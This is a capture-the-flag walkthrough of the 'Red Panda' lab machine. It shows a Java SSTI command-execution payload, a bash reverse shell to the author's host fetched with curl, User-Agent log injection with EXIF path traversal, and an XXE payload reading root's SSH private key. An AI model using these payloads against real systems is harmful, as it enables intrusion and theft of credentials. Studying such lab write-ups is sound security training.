Red panda#
Enum#
nmap -sC -sV panda.htb -oN nmap.initial 139 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-16 13:33 IST
Nmap scan report for panda.htb (10.10.11.170)
Host is up (0.037s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Red Panda Search | Made with Spring Boot
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date: Sun, 16 Oct 2022 12:33:26 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en" dir="ltr">
| <head>
| <meta charset="utf-8">
| <meta author="wooden_k">
| <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
| <link rel="stylesheet" href="css/panda.css" type="text/css">
| <link rel="stylesheet" href="css/main.css" type="text/css">
| <title>Red Panda Search | Made with Spring Boot</title>
| </head>
| <body>
| <div class='pande'>
| <div class='ear left'></div>
| <div class='ear right'></div>
| <div class='whiskers left'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='whiskers right'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='face'>
| <div class='eye
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date: Sun, 16 Oct 2022 12:33:26 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sun, 16 Oct 2022 12:33:26 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=10/16%Time=634BFA16%P=aarch64-unknown-linux-g
SF:nu%r(GetRequest,690,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html
SF:;charset=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Sun,\x2016\x20
SF:Oct\x202022\x2012:33:26\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE
SF:\x20html>\n<html\x20lang=\"en\"\x20dir=\"ltr\">\n\x20\x20<head>\n\x20\x
SF:20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20<meta\x20author=
SF:\"wooden_k\">\n\x20\x20\x20\x20<!--Codepen\x20by\x20khr2003:\x20https:/
SF:/codepen\.io/khr2003/pen/BGZdXw\x20-->\n\x20\x20\x20\x20<link\x20rel=\"
SF:stylesheet\"\x20href=\"css/panda\.css\"\x20type=\"text/css\">\n\x20\x20
SF:\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"css/main\.css\"\x20type=\
SF:"text/css\">\n\x20\x20\x20\x20<title>Red\x20Panda\x20Search\x20\|\x20Ma
SF:de\x20with\x20Spring\x20Boot</title>\n\x20\x20</head>\n\x20\x20<body>\n
SF:\n\x20\x20\x20\x20<div\x20class='pande'>\n\x20\x20\x20\x20\x20\x20<div\
SF:x20class='ear\x20left'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='e
SF:ar\x20right'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='whiskers\x2
SF:0left'>\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</div>\n\x20\x2
SF:0\x20\x20\x20\x20<div\x20class='whiskers\x20right'>\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></sp
SF:an>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x2
SF:0\x20</div>\n\x20\x20\x20\x20\x20\x20<div\x20class='face'>\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<div\x20class='eye")%r(HTTPOptions,75,"HTTP/1\.1\x
SF:20200\x20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nContent-Length:\x200\r\nDate
SF::\x20Sun,\x2016\x20Oct\x202022\x2012:33:26\x20GMT\r\nConnection:\x20clo
SF:se\r\n\r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x
SF:20text/html;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:
SF:\x20435\r\nDate:\x20Sun,\x2016\x20Oct\x202022\x2012:33:26\x20GMT\r\nCon
SF:nection:\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><
SF:title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><s
SF:tyle\x20type=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;
SF:}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\
SF:x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-si
SF:ze:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x2
SF:0{height:1px;background-color:#525D76;border:none;}</style></head><body
SF:><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body
SF:></html>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.48 seconds
zsh: segmentation fault nmap -sC -sV panda.htb -oN nmap.initial
dirsearch -u http://panda.htb:8080
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/blnkn/.dirsearch/reports/panda.htb-8080/_22-10-16_13-34-45.txt
Error Log: /home/blnkn/.dirsearch/logs/errors-22-10-16_13-34-45.log
Target: http://panda.htb:8080/
[13:34:45] Starting:
[13:34:49] 400 - 435B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[13:34:50] 400 - 435B - /a%5c.aspx
[13:34:57] 500 - 86B - /error/
[13:34:57] 500 - 86B - /error
[13:35:10] 405 - 117B - /search
[13:35:12] 200 - 987B - /stats
[13:35:12] 200 - 987B - /stats/
Task Completed
whatweb http://panda.htb:8080
http://panda.htb:8080 [200 OK] Content-Language[en-US], Country[RESERVED][ZZ], HTML5, IP[10.10.11.170], Title[Red Panda Search | Made with Spring Boot]
Java SpringBoot - SSTI#
We know it’s running springboot, so it’s some kind of java app, and we control the search field as an input.
PayloadsAllTheThings - basic SSTI
when attempting a ${7*7}
we get an error, saying that some of the characters we used are banned, cool, that’s something
trying chars one by one, the one that’s banned is the dollar sign, but the solution is also in payloadallthethings:
Multiple variable expressions can be used, if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
*
&#
&@
work, but ~
is also banned
Using this tool to generate java ssti payloads https://github.com/VikasVarshney/ssti-payload
python3 ssti-payload.py
Command ==> id
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100))).getInputStream())}
This is running as woodenk, I tried to pull woodenk’s ssh key but he doesn’t seem to have one
Making a staged reverse shell
echo 'bash -i >& /dev/tcp/10.10.14.81/4242 0>&1' > sh.sh
cat sh.sh
bash -i >& /dev/tcp/10.10.14.81/4242 0>&1
Dropping it on the filesystem
Command ==> curl -s http://10.10.14.81:8000/sh.sh -O
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(58)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(58)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(79))).getInputStream())}
Executing it
Command ==> bash ./sh.sh
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104))).getInputStream())}
And we got a shell
woodenk@redpanda:/tmp/hsperfdata_woodenk$ pwd
pwd
/tmp/hsperfdata_woodenk
woodenk@redpanda:/tmp/hsperfdata_woodenk$ id
id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
woodenk@redpanda:/tmp/hsperfdata_woodenk$ cd
cd
woodenk@redpanda:~$ wc -c user.txt
wc -c user.txt
33 user.txt
Looking around#
First of all I’ll drop a public key to get a real shell
woodenk@redpanda:~$ mkdir .ssh
mkdir .ssh
woodenk@redpanda:~$ cd .ssh
cd .ssh
woodenk@redpanda:~/.ssh$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1aV0794+n5PgwXby/FDlO8tD0I0feVtY2zL3/TLjTKP/HfHZcmrYziPvnTixKaCp86me/S8CkBz4iHYe0sx4RMX8PC2Qf/UFg5vBWkZM4NeoGmnd5ctFFWGX9N6FyJJIFvL6Ya/Y+DYJTmQSi6zCw9coNX4zFkXRo4iryNPkTCOm77rq4O4mu+zH1XZOcwDBm+75/K846QJHYlFHSaFh9Ncg4P5YXzFPEzdz0/sDCuxa4Y0f1oMrtMya0VaEogF63IjriUrgwPo7vZgpA3exkF0V6xYHOCYrqzzZskiPvt/7T/RaDXJA6zTxgg168TWBMYhpKeX4pNgAR/URD2fpISIpN/EgHu5pSTk2GyokSikwHffyo14Wieco9Y+qi7fguP68ngbQP7jmZXxaCBd7PQaHkHR5CN01XdGIDABvDpQppfF9jtUafY46wfzy2OhmsPaNWGTiIf07rA5mB9Yes2D+2//OoQIzSgRBXHl9H99HZ+Seb9nQGnbRekxF2msk=' > authorized_keys
<gRBXHl9H99HZ+Seb9nQGnbRekxF2msk=' > authorized_keys
woodenk@redpanda:~/.ssh$ chmod 400 authorized_keys
chmod 400 authorized_keys
woodenk@redpanda:~/.ssh$ ls -la
ls -la
total 12
drwxrwxr-x 2 woodenk logs 4096 Oct 16 13:14 .
drwxr-xr-x 7 woodenk woodenk 4096 Oct 16 13:14 ..
-r-------- 1 woodenk logs 553 Oct 16 13:14 authorized_keys
woodenk@redpanda:~$ chown -R woodenk:woodenk .
then start to look around
netstat -tulpen
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 101 22393 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 22484 -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN 113 24913 -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 113 24916 -
tcp6 0 0 :::8080 :::* LISTEN 1000 23855 -
tcp6 0 0 :::22 :::* LISTEN 0 22495 -
udp 0 0 127.0.0.53:53 0.0.0.0:* 101 22392 -
udp 0 0 0.0.0.0:68 0.0.0.0:* 0 20211 -
can we connect to the mysql db?
grep -rI jdbc ./*
./src/main/java/com/panda_search/htb/panda_search/MainController.java: Class.forName("com.mysql.cj.jdbc.Driver");
./src/main/java/com/panda_search/htb/panda_search/MainController.java: conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
mysql -D red_panda -u woodenk -p
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| red_panda |
+--------------------+
2 rows in set (0.01 sec)
mysql> use red_panda;
Database changed
mysql> show tables;
+---------------------+
| Tables_in_red_panda |
+---------------------+
| pandas |
+---------------------+
1 row in set (0.00 sec)
mysql> select * from pandas;
+----------+------------------------------------------------------------------------------------+------------------+---------+
| name | bio | imgloc | author |
+----------+------------------------------------------------------------------------------------+------------------+---------+
| Smooch | Smooch likes giving kisses and hugs to everyone! | img/smooch.jpg | woodenk |
| Hungy | Hungy is always hungry so he is eating all the bamboo in the world! | img/hungy.jpg | woodenk |
| Greg | Greg is a hacker. Watch out for his injection attacks! | img/greg.jpg | woodenk |
| Mr Puffy | Mr Puffy is the fluffiest red panda to have ever lived. | img/mr_puffy.jpg | damian |
| Florida | Florida panda is the evil twin of Greg. Watch out for him! | img/florida.jpg | woodenk |
| Lazy | Lazy is always very sleepy so he likes to lay around all day and do nothing. | img/lazy.jpg | woodenk |
| Shy | Shy is as his name suggest very shy. But he likes to cuddle when he feels like it. | img/shy.jpg | damian |
| Smiley | Smiley is always very happy. She loves to look at beautiful people like you ! | img/smiley.jpg | woodenk |
| Angy | Angy is always very grumpy. He sticks out his tongue to everyone. | img/angy.jpg | damian |
| Peter | Peter loves to climb. We think he was a spider in his previous life. | img/peter.jpg | damian |
| Crafty | Crafty is always busy creating art. They will become a very famous red panda! | img/crafty.jpg | damian |
+----------+------------------------------------------------------------------------------------+------------------+---------+
11 rows in set (0.00 sec)
It’s not really helping though
Privesc#
Observing what’s going on with pspy64, we can see that there’s a few cronjobs there’s one run by woodenk
2022/10/16 13:50:01 CMD: UID=1000 PID=76678 | /bin/bash /opt/cleanup.sh
2022/10/16 13:50:01 CMD: UID=1000 PID=76679 | /bin/bash /opt/cleanup.sh
2022/10/16 13:50:01 CMD: UID=1000 PID=76682 | /usr/bin/find /var/tmp -name *.xml -exec rm -rf {} ;
2022/10/16 13:50:01 CMD: UID=1000 PID=76683 | /usr/bin/find /dev/shm -name *.xml -exec rm -rf {} ;
2022/10/16 13:50:01 CMD: UID=1000 PID=76684 | /usr/bin/find /home/woodenk -name *.xml -exec rm -rf {} ;
2022/10/16 13:50:01 CMD: UID=1000 PID=76697 | /usr/bin/find /home/woodenk -name *.jpg -exec rm -rf {} ;
this does not seem too interesting as this is woodenk and the paths are absolute, so probably no path highjacking there.
But there’s another one run by root that triggers a java app:
2022/10/16 13:48:01 CMD: UID=0 PID=76646 | /usr/sbin/CRON -f
2022/10/16 13:48:01 CMD: UID=0 PID=76648 | /bin/sh /root/run_credits.sh
2022/10/16 13:48:01 CMD: UID=0 PID=76647 | /bin/sh -c /root/run_credits.sh
2022/10/16 13:48:01 CMD: UID=0 PID=76649 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
Looking at the source
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
public static boolean isImage(String filename){
if(filename.contains(".jpg"))
{
return true;
}
return false;
}
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for(Element el: rootElement.getChildren())
{
if(el.getName() == "image")
{
if(el.getChild("uri").getText().equals(uri))
{
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
I’ll be exfiltrating the whole app to look at it in vscode
tar -cvzf /dev/shm/logparse.tar.gz LogParser/
curl http://10.10.11.170:8000/logparse.tar.gz -O
So what this app does is, it adds creds to the artists of each of the panda based on the number of views they have. And to to that it reads the log at /opt/panda_search/redpanda.log
which is loging whatever users request, for instance here, I requests nyanyanya
, so that’s one input we have control over
cat redpanda.log
200||10.10.14.10||Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0||/search
404||10.10.14.81||Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0||/nyanyanya
404||10.10.14.81||Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
The Java app then looks at the metadata for the images is has in /opt/panda_search/src/main/resources/static/img
to find the artist of the panda that was requested by the user, and finally it goes and writes the result in /credits/<artist>_creds.xml
which is presumably what we’re looking at when visiting http://panda.htb:8080/stats
woodenk@redpanda:/opt/panda_search/src/main/resources/static/img$ ls -la
total 3516
drwxrwxr-x 2 root root 4096 Jun 20 16:40 .
drwxrwxr-x 4 root root 4096 Jun 14 14:35 ..
-rw-rw-r-- 1 root root 223965 Feb 21 2022 angy.jpg
-rw-rw-r-- 1 root root 1075102 Jun 20 16:37 crafty.jpg
-rw-rw-r-- 1 root root 6148 Dec 14 2021 .DS_Store
-rw-rw-r-- 1 root root 111370 Feb 21 2022 florida.jpg
-rw-rw-r-- 1 root root 102758 Feb 21 2022 greg.jpg
-rw-rw-r-- 1 root root 651102 Feb 21 2022 hungy.jpg
-rw-rw-r-- 1 root root 852778 Feb 21 2022 lazy.jpg
-rw-rw-r-- 1 root root 70716 Feb 21 2022 mr_puffy.jpg
-rw-r--r-- 1 root root 31800 Jun 20 16:40 peter.jpg
-rw-rw-r-- 1 root root 45716 Feb 21 2022 shy.jpg
-rw-rw-r-- 1 root root 200457 Feb 21 2022 smiley.jpg
-rw-rw-r-- 1 root root 195963 Feb 21 2022 smooch.jpg
Just exfiltrating one of the images to look at the tag
curl http://10.10.11.170:8000/smooch.jpg -O
file smooch.jpg
smooch.jpg: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2], progressive, precision 8, 1024x1280, components 3
exiftool -Artist smooch.jpg
Artist : woodenk
Let see what happens if I make a hamster.jpg with an Artist tag of blnkn
exiftool -Artist="blnkn" hamster.jpg
1 image files updated
[blnkn@Kolossus](main %=):~/blnknlights.github.io/htb/machines/red_panda% exiftool -Artist hamster.jpg
Artist : blnkn
woodenk doesn’t have write privileges in that directory though so lets looks at the source for the search part to see if we can point it to somewhere else maybe?
package com.panda_search.htb.panda_search;
import java.util.ArrayList;
import java.io.IOException;
import java.sql.*;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.InputStream;
import java.io.FileInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.http.MediaType;
import org.apache.commons.io.IOUtils;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
@Controller
public class MainController {
@GetMapping("/stats")
public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{
SAXBuilder saxBuilder = new SAXBuilder();
if(author == null)
author = "N/A";
author = author.strip();
System.out.println('"' + author + '"');
if(author.equals("woodenk") || author.equals("damian"))
{
String path = "/credits/" + author + "_creds.xml";
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
String totalviews = rootElement.getChildText("totalviews");
List<Element> images = rootElement.getChildren("image");
for(Element image: images)
System.out.println(image.getChildText("uri"));
model.addAttribute("noAuthor", false);
model.addAttribute("author", author);
model.addAttribute("totalviews", totalviews);
model.addAttribute("images", images);
return new ModelAndView("stats.html");
}
else
{
model.addAttribute("noAuthor", true);
return new ModelAndView("stats.html");
}
}
@GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {
System.out.println("Exporting xml of: " + author);
if(author.equals("woodenk") || author.equals("damian"))
{
InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
System.out.println(in);
return IOUtils.toByteArray(in);
}
else
{
return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
}
}
@PostMapping("/search")
public ModelAndView search(@RequestParam("name") String name, Model model) {
if(name.isEmpty())
{
name = "Greg";
}
String query = filter(name);
ArrayList pandas = searchPanda(query);
System.out.println("\n\""+query+"\"\n");
model.addAttribute("query", query);
model.addAttribute("pandas", pandas);
model.addAttribute("n", pandas.size());
return new ModelAndView("search.html");
}
public String filter(String arg) {
String[] no_no_words = {"%", "_","$", "~", };
for (String word : no_no_words) {
if(arg.contains(word)){
return "Error occured: banned characters";
}
}
return arg;
}
public ArrayList searchPanda(String query) {
Connection conn = null;
PreparedStatement stmt = null;
ArrayList<ArrayList> pandas = new ArrayList();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
stmt.setString(1, "%" + query + "%");
ResultSet rs = stmt.executeQuery();
while(rs.next()){
ArrayList<String> panda = new ArrayList<String>();
panda.add(rs.getString("name"));
panda.add(rs.getString("bio"));
panda.add(rs.getString("imgloc"));
panda.add(rs.getString("author"));
pandas.add(panda);
}
}catch(Exception e){ System.out.println(e);}
return pandas;
}
}
And it’s looking at the db for the path of the image corresponding to a panda, so, we should be able to add our own pandhamster
mysql> insert into pandas values('pandhamster','I\'m a spy, please don\'t tell them','/dev/shm/hamster.jpg', 'blnkn');
Query OK, 1 row affected (0.00 sec)
mysql> SELECT name, bio, imgloc, author FROM pandas
-> ;
+-------------+------------------------------------------------------------------------------------+----------------------+---------+
| name | bio | imgloc | author |
+-------------+------------------------------------------------------------------------------------+----------------------+---------+
| Smooch | Smooch likes giving kisses and hugs to everyone! | img/smooch.jpg | woodenk |
| Hungy | Hungy is always hungry so he is eating all the bamboo in the world! | img/hungy.jpg | woodenk |
| Greg | Greg is a hacker. Watch out for his injection attacks! | img/greg.jpg | woodenk |
| Mr Puffy | Mr Puffy is the fluffiest red panda to have ever lived. | img/mr_puffy.jpg | damian |
| Florida | Florida panda is the evil twin of Greg. Watch out for him! | img/florida.jpg | woodenk |
| Lazy | Lazy is always very sleepy so he likes to lay around all day and do nothing. | img/lazy.jpg | woodenk |
| Shy | Shy is as his name suggest very shy. But he likes to cuddle when he feels like it. | img/shy.jpg | damian |
| Smiley | Smiley is always very happy. She loves to look at beautiful people like you ! | img/smiley.jpg | woodenk |
| Angy | Angy is always very grumpy. He sticks out his tongue to everyone. | img/angy.jpg | damian |
| Peter | Peter loves to climb. We think he was a spider in his previous life. | img/peter.jpg | damian |
| Crafty | Crafty is always busy creating art. They will become a very famous red panda! | img/crafty.jpg | damian |
| pandhamster | I'm a spy, please don't tell them | /dev/shm/hamster.jpg | blnkn |
+-------------+------------------------------------------------------------------------------------+----------------------+---------+
12 rows in set (0.00 sec)
We’re limited by the conlumn max varchar though so I attempted to fix that but woodenk doesn’t have access to change the information_schema
mysql> use information_schema;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select TABLE_NAME,COLUMN_NAME,DATA_TYPE,CHARACTER_MAXIMUM_LENGTH from columns where table_name='pandas';
+------------+-------------+-----------+--------------------------+
| TABLE_NAME | COLUMN_NAME | DATA_TYPE | CHARACTER_MAXIMUM_LENGTH |
+------------+-------------+-----------+--------------------------+
| pandas | name | varchar | 20 |
| pandas | bio | varchar | 200 |
| pandas | imgloc | varchar | 20 |
| pandas | author | varchar | 20 |
+------------+-------------+-----------+--------------------------+
4 rows in set (0.00 sec)
mysql> ALTER TABLE pandas ALTER COLUMN imgloc VARCHAR(200);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'VARCHAR(200)' at line 1
mysql> ALTER TABLE pandas;
ERROR 1044 (42000): Access denied for user 'woodenk'@'localhost' to database 'information_schema'
This means that we are limited to 20 characters :
printf '../../../tmp/h.jpg'|wc -c
18
And we wouldn’t be able to reach with that:
woodenk@redpanda:/opt/panda_search/src/main/resources/static/img$ cat ../../../tmp/h.jpg
cat: ../../../tmp/h.jpg: No such file or directory
woodenk@redpanda:/opt/panda_search/src/main/resources/static/img$ pwd
/opt/panda_search/src/main/resources/static/img
After taking time to regroup and read the code again, I realise that the path fetched from the DB would be to actually display our hamster in the website, but the logstats thing won’t care, I’m just sad I won’t be able to actually display my hamster on the site, so I’ll put it here for you to enjoy:
So we don’t care, we just need to have the path show up in the log, now if I just ask for it, it filters my path traversal attempt:
curl http://panda.htb:8080/../../../../../../../dev/shm/hamster.jpg
Shows up sanitized in the log
404||10.10.14.81||curl/7.85.0||/dev/shm/hamster.jpg
we know from the source that it just splits by the double pipes, so, since it logs the user agent first, we can just cheat, and do something like this :
curl http://panda.htb:8080 -A "super hamster spy||../../../../../../../dev/shm/hamster.jpg"
And now it shows how we want it, and
200||10.10.14.81||super hamster spy||../../../../../../../dev/shm/hamster.jpg||/
Ok, so at this stage we controll the artist variable, which means we can choose to read the report, from wherever we want, as long as it ends with _creds.xml
so we can point it to /dev/shm
exiftool -Artist="../../../../../../dev/shm/privesc" hamster.jpg
1 image files updated
And leverage an XXE to read root’s private key
cat << EOF > /dev/shm/privesc_creds.xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY key SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
<author>damian</author>
<image>
<uri>../../../../../../dev/shm/hamster.jpg</uri>
<privesc>&key;</privesc>
<views>0</views>
</image>
<totalviews>0</totalviews>
</credits>
EOF
Note that the exact artist in the jpg needs to match the exact path in the curl, that is the same number of dot dot slash too, because of this line:
if(el.getChild("uri").getText().equals(uri))
(this stalled me for longer than necessary)
curl http://panda.htb:8080 -A "super hamster spy||../../../../../../../dev/shm/hamster.jpg"
